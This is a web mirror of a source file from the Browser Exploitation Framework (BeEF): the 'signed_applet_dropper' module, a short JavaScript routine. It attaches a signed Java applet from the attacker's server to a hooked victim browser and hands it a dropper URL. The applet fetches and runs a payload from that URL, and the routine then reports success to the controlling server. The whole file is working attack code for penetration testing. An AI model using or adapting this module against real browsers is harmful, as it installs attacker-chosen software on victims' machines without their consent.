Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
beefproject
GitHub Repository: beefproject/beef
Path: blob/master/modules/exploits/local_host/signed_applet_dropper/command.js
1154 views
1
//
2
// Copyright (c) 2006-2025Wade Alcorn - [email protected]
3
// Browser Exploitation Framework (BeEF) - https://beefproject.com
4
// See the file 'doc/COPYING' for copying permission
5
//
6
7
beef.execute(function() {
8
9
var applet_archive = beef.net.httpproto + '://'+beef.net.host+ ':' + beef.net.port + '/applet/SignedApplet.jar';
10
var applet_name = '<%= @applet_name %>';
11
var dropper_url = '<%= @dropper_url %>';
12
var ie_only = '<%= @ie_only %>';
13
14
function attach(){
15
beef.dom.attachApplet('signed_applet', applet_name, 'SignedApplet.class',
16
null, applet_archive, [{'url':dropper_url}]);
17
18
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'Applet added to the DOM.');
19
}
20
21
if(ie_only == "on"){
22
if(beef.browser.isIE()){
23
attach();
24
}
25
}else{
26
attach();
27
}
28
});
29
30